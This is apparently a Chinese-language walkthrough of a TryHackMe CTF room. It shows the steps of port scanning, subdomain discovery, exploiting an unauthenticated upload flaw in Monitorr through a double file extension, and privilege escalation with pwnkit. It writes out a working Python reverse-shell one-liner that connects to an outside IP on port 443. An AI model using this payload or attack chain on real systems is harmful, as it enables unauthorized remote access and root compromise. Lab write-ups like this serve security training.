TryHackMe-Year of the Jellyfish(linux渗透测试)

Year of the Jellyfish

请注意 - 此框使用公共 IP 进行部署。想想这对你应该如何应对这一挑战意味着什么。如果您高速枚举公共 IP 地址,ISP 通常会不满意…


端口扫描

循例nmap

TryHackMe-Year of the Jellyfish(linux渗透测试)_第1张图片

扫描结果中还有域名,加进hosts

在这里插入图片描述

FTP 枚举

尝试anonymous

TryHackMe-Year of the Jellyfish(linux渗透测试)_第2张图片

Web枚举

有三个端口的http 80、443、8000、8096,80会跳转到443

443是一个宠物商店

TryHackMe-Year of the Jellyfish(linux渗透测试)_第3张图片

通过源代码可以找到有关cms的信息

TryHackMe-Year of the Jellyfish(linux渗透测试)_第4张图片

然而通过github得知,这个cms没后台,可能是个兔子洞

访问8000端口

TryHackMe-Year of the Jellyfish(linux渗透测试)_第5张图片

当我尝试各种vhost扫描,甚至当我反应过来这是公网ip时,我尝试通过osint收集子域信息,但都无果

最后我忽略了https的证书信息,好吧,我不会在忘记了

TryHackMe-Year of the Jellyfish(linux渗透测试)_第6张图片

将这些子域都添加到hosts

dev跟80端口一样,beta跟8000端口一致

monitorr

TryHackMe-Year of the Jellyfish(linux渗透测试)_第7张图片

任意文件上传 - RCE

在底部暴露了cms项目地址和版本号

在这里插入图片描述

但是使用searchsploit同时发现了rce和身份验证绕过

TryHackMe-Year of the Jellyfish(linux渗透测试)_第8张图片

然而利用貌似不成功,账户未被成功创建,原因是exp的那个url不存在,可能已经被出题人删了

TryHackMe-Year of the Jellyfish(linux渗透测试)_第9张图片

在github上查看页面代码

TryHackMe-Year of the Jellyfish(linux渗透测试)_第10张图片

还有一个未授权任意文件上传漏洞

upload.php存在缺陷且没有安全检查,只要绕过getimagesize函数即可任意文件上传

TryHackMe-Year of the Jellyfish(linux渗透测试)_第11张图片

由于靶机是公网ip,这里可以利用thm的网络kali

TryHackMe-Year of the Jellyfish(linux渗透测试)_第12张图片

发现有后缀黑名单

TryHackMe-Year of the Jellyfish(linux渗透测试)_第13张图片

双重后缀可以绕过

TryHackMe-Year of the Jellyfish(linux渗透测试)_第14张图片

Reverse Shell

试了几种方式反向shell,但都弹不出来,断定开了防火墙,但尝试查看iptables策略却得不到结果

根据thm红队绕过防火墙的房间,我们可以尝试80、443这些端口

payload:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("54.195.30.192",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' 

TryHackMe-Year of the Jellyfish(linux渗透测试)_第15张图片

getshell

flag1在www-data家目录

TryHackMe-Year of the Jellyfish(linux渗透测试)_第16张图片

权限提升 - CVE-2021-4034

看到是ubuntu 18.04 lts

TryHackMe-Year of the Jellyfish(linux渗透测试)_第17张图片

pkexec还有suid

TryHackMe-Year of the Jellyfish(linux渗透测试)_第18张图片

直接打pwnkit

TryHackMe-Year of the Jellyfish(linux渗透测试)_第19张图片

getroot

你可能感兴趣的:(TryHackMe,linux渗透测试,oscp,pwnkit,web安全)